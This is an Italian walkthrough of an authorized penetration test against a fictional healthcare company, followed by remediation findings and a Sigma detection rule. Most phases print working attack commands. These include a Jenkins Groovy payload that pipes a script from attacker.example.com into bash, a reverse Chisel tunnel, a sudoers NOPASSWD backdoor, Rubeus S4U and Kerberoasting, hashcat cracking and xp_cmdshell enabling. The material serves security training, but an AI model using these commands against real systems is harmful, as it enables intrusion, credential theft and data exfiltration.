Esempio Pratico Completo: Test di Penetrazione End-to-End per Imprese
Contesto dell'Engagement e Regole di Ingaggio
MediHealth Associates presenta un profilo target realistico: 500 dipendenti, infrastruttura ibrida Azure AD/on-premises, SOC monitorato esternamente con SLA di rilevamento di 15 minuti, e un MSSP che gestisce la risposta Tier-1. Il nostro engagement scoped permette penetration testing di rete esterna, assessment di applicazioni web e simulazione di movimento laterale interno. Esplicitamente proibiti: interruzione del sistema EHR di produzione, deployment di ransomware ed estrazione effettiva di PHI—simuliamo l'esfiltrazione utilizzando marcatori di dati sintetici.
Stabiliamo comunicazioni crittografate attraverso un beacon Cobalt Strike pre-posizionato per Command and Control (C2), configurato con profili Malleable C2 che mimano il traffico Microsoft Teams per fondersi con i pattern legittimi di collaborazione sanitaria.
Fase 1: Open Source Intelligence ed Enumerazione Esterna
Selezione Strumenti: theHarvester, SpiderFoot, Shodan CLI, wrapper Python personalizzati
La nostra ricognizione inizia due settimane prima che qualsiasi pacchetto tocchi il target. theHarvester identifica 347 indirizzi email validi e conferma l'utilizzo del tenant Office 365 attraverso l'analisi dei record MX.
theHarvester -d medihealthassociates.com -b all -f th_results.json
Un risultato critico emerge dalla ricerca nella cronologia dei commit GitHub: il repository pubblico di un contraente contiene file di configurazione sanificati con riferimenti a build.medihealthassociates.com e Jenkins versione 2.289.1. Shodan corrobora l'esposizione:
shodan host 203.0.113.47
# Jenkins 2.289.1 su Ubuntu 20.04.3 LTS, visto l'ultima volta 14 ore fa
Diramazione Decisionale: L'istanza Jenkins presenta CVE-2021-21697 (Lettura arbitraria di file tramite parametri di build) e potenzialmente CVE-2024-23897 (Parsing degli argomenti CLI che porta a lettura arbitraria di file in configurazioni più recenti). Inizialmente pianifichiamo exploit/multi/http/jenkins_metaprogramming di Metasploit ma scopriamo durante il dry-run che il WAF di MediHealth, operato dal loro MSSP, effettua il fingerprinting delle stringhe User-Agent di Metasploit. Pivotiamo immediatamente verso lo sfruttamento manuale utilizzando Python requests con header Chrome.
Fase 2: Accesso Iniziale — Da Jenkins a Server Web DMZ
Selezione Strumenti: Script Python personalizzato, curl, linPEAS
La nostra catena di exploit manuale viene eseguita attraverso la console script Groovy di Jenkins, che la documentazione trapelata del contraente ha confermato rimanesse accessibile con permessi "authenticated" predefiniti:
#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings()
JENKINS_URL = "https://build.medihealthassociates.com"
CREDS = ("contractor_leaked_user", "Spring2023!")
# Payload Groovy per eseguire comando OS via Script Console
groovy_payload = '''
def cmd = "curl http://attacker.example.com/dmz_web_recon.sh | bash"
def proc = cmd.execute()
proc.waitFor()
println proc.in.text
'''
r = requests.post(
f"{JENKINS_URL}/script",
auth=CREDS,
data={"script": groovy_payload},
verify=False,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
)
print(f"Status: {r.status_code}")
print(r.text[:500])
Il payload ha successo. Riceviamo callback sul nostro server C2 da 10.0.50.12, confermato come server web DMZ web-dmz-01.medihealth.local.
Ostacolo Inaspettato: L'esecuzione di linPEAS rivela l'applicazione di AppArmor in modalità complain, ma più criticamente, il DNS in uscita è filtrato eccetto verso 8.8.8.8 e 1.1.1.1. Il nostro C2 DNS standard fallisce. Ci adattiamo passando al beaconing HTTPS attraverso domini Azure Front Door, che appaiono nella allow-list proxy di MediHealth per l'integrazione Office 365.
Fase 3: Escalation dei Privilegi e Accesso alle Credenziali
Selezione Strumenti: pspy, SharpUp (tradotto su Linux via .NET Core), ricerca manuale di exploit del kernel
Su web-dmz-01, pspy identifica un cron job eseguito come root: script di backup notturno scrivibile da www-data. Stabiliamo persistenza attraverso una semplice modifica sudoers:
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/99-backup-exploit
Con accesso root, estraiamo credenziali AWS da /root/.aws/credentials—il server DMZ esegue backup S3 verso s3://medihealth-backups-prod. Queste credenziali rivelano il ruolo IAM arn:aws:iam::123456789012:role/DMZBackupRole con permessi s3:GetObject e s3:ListBucket.
Fase 4: Pivot Interno — Da DMZ a Rete Corporate
Selezione Strumenti: Chisel per tunneling SOCKS, BloodHound.py, Rubeus via SharpCollection
Stabiliamo tunnel attraverso l'interfaccia dual-homed del server DMZ:
# Sul server di attacco
./chisel server -p 8080 --reverse
# Sul server DMZ compromesso (come root)
./chisel client attacker.example.com:8080 R:socks
Raccolta BloodHound.py contro Active Directory on-premises attraverso il tunnel:
python3 bloodhound.py -c All -u '' -p '' -d medihealth.local \
-dc dc01.medihealth.local -gc gc.medihealth.local \
--dns-tcp --dns-timeout 30 --zip
Ostacolo Inaspettato: BloodHound rivela che l'account computer web-dmz-01$ manca di delega vincolata ma mostra ACL interessante: Domain Users può leggere msDS-AllowedToDelegateTo su SQL-PROD-01$. Tuttavia, il Kerberoasting diretto dalla DMZ triggera un alert MSSP (regola Sigma: win_security_4769_high_volume). Ci adattiamo:
- Estraendo il TGT di
web-dmz-01$utilizzando Rubeus con/tgtdelegper abusare della sessione corrente - Eseguendo S4U2self per richiedere TGS forwardable per
SQL-PROD-01$ - Utilizzando il ticket ottenuto per accesso LDAP ed estrarre attributi
servicePrincipalName
# Esecuzione Rubeus via execute-assembly in Cobalt Strike
Rubeus.exe asktgt /user:web-dmz-01$ /ticket:<base64_TGT> /ptt
Rubeus.exe s4u /ticket:<TGT> /impersonateuser:administrator
/msdsspn:cifs/sql-prod-01.medihealth.local /ptt
Fase 5: Compromissione del Dominio via Kerberoasting
Selezione Strumenti: Rubeus, Hashcat, GetUserSPNs.py di Impacket
Con ticket di servizio valido per SQL-PROD-01$, identifichiamo tre account di servizio SQL con SPN: sqlagent_prod, sql_reporting, e backup_sql. Il Kerberoasting procede a ritmo controllato—un TGS ogni 4 minuti per eludere il rilevamento di volume:
# Attraverso proxy SOCKS
proxychains python3 GetUserSPNs.py -request -dc-ip 10.0.10.10 \
medihealth.local/sqlagent_prod -outputfile sql_tgs_hashes.txt
Hashcat cracka sqlagent_prod in 3 ore utilizzando rockyou.txt con OneRule:
hashcat -m 13100 sql_tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
-r OneRuleToRuleThemAll.rule -O
Password: M3diHealth$ql2022!
Questo account detiene sysadmin su tutte le istanze SQL di produzione e il ruolo SQLAgentOperator, permettendo l'esecuzione di xp_cmdshell. Otteniamo esecuzione di codice su SQL-PROD-01 e dumpiamo la memoria LSASS con procdump:
# Via xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc <base64_procdump>';
L'estrazione offline con Mimikatz produce l'hash krbtgt—compromissione completa del dominio ottenuta in 34 ore dall'accesso iniziale a Jenkins.
Fase 6: Simulazione di Esfiltrazione PHI e Valutazione dell'Impatto
Selezione Strumenti: PowerShell personalizzato con dati sintetici, misurazione DNS per stima della larghezza di banda
Con privilegi di Domain Admin, accediamo a \\FILE-SERVER-01\PHI-Archive$ contenente 2.3TB di record paziente. Secondo i vincoli dell'engagement, non esfiltriamo dati effettivi. Invece:
- Generiamo marcatori PHI sintetici (UUIDv4 "patient ID" con checksum noti al team di assessment)
- Misuriamo la capacità di trasferimento attraverso richieste ICMP timestamp per quantificare la larghezza di banda potenziale di esfiltrazione
- Documentiamo percorsi accessibili e controlli DLP inadeguati
# Script di misurazione (generazione dati sintetici)
$marker = "MH-ASSESSMENT-" + [Guid]::NewGuid().ToString()
$testData = @"
PATIENT_ID,SSN_PLACEHOLDER,RECORD_SIZE
$marker,123-45-6789,4.2MB
"@ | Set-Content "\\FILE-SERVER-01\PHI-Archive$\assessment_marker.csv"
# Verifica accessibilità da simulazione esterna
Test-NetConnection -ComputerName 10.0.10.15 -Port 445
Fase 7: Reporting e Indicazioni per la Remediation
Struttura del Sommario Esecutivo:
| Rilevamento | Valutazione del Rischio | Impatto sul Business | Sforzo di Remediation |
|---|---|---|---|
| Jenkins esposto con console Groovy | Critico | Vettore di accesso iniziale diretto; compromissione completa dell'ambiente | Basso (patch + segmentazione di rete) |
| Account di servizio Kerberoastabili | Alto | Percorso di escalation del dominio; bypass MSSP dimostrato | Medio (Managed Service Accounts) |
| Debole politica password del servizio SQL | Alto | Accelerazione del movimento laterale | Basso (minimo 14 caratteri + rotazione) |
| DLP assente sull'archivio PHI | Critico | Esposizione a violazioni normative (penali HIPAA $1.5M+) | Alto (progetto di classificazione dati) |
Componenti del Report Tecnico:
-
Visualizzazione della Catena di Attacco: Diagramma Mermaid che mostra la mappatura MITRE ATT&CK (Accesso Iniziale: T1190, Accesso alle Credenziali: T1558.003, Movimento Laterale: T1021.002)
-
Appendice di Riferimento Comandi: Tutti i comandi eseguiti con timestamp, valori hash per verifica forense, e estratti di log Cobalt Strike
-
Analisi dei Gap di Rilevamento: Regole Sigma specifiche bypassate, query Splunk consigliate per rilevamento futuro:
# Rilevamento consigliato per abuso S4U
title: S4U2Self Abuse Detection
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketOptions: '0x40810000'
TicketEncryptionType: '0x12' # AES256
filter_legitimate:
- ServiceName|endswith: '$'
condition: selection and not filter_legitimate
Pianificazione della Verifica di Retest:
- Fase 1 (30 giorni): Verifica della rimozione di Jenkins, validazione della segmentazione di rete via Nmap da posizione esterna
- Fase 2 (60 giorni): Re-assessment BloodHound per account Kerberoastabili, conferma implementazione gMSA
- Fase 3 (90 giorni): Esercizio purple team con MSSP per validare i miglioramenti di rilevamento; riduzione attesa MTTR da 4 ore a 45 minuti per attacchi basati su credenziali
L'engagement si conclude con un outbrief al CISO, CTO, e al comitato di audit esterno. Tutti i marcatori sintetici sono verificati distrutti. Priorità di remediation: patching immediato di Jenkins (sfruttato entro 48 ore dalla nostra notifica nonostante l' advisory iniziale del vendor fosse datato 18 mesi), seguito da hardening dell'infrastruttura identitaria data la dimostrata capacità di bypass del monitoraggio MSSP.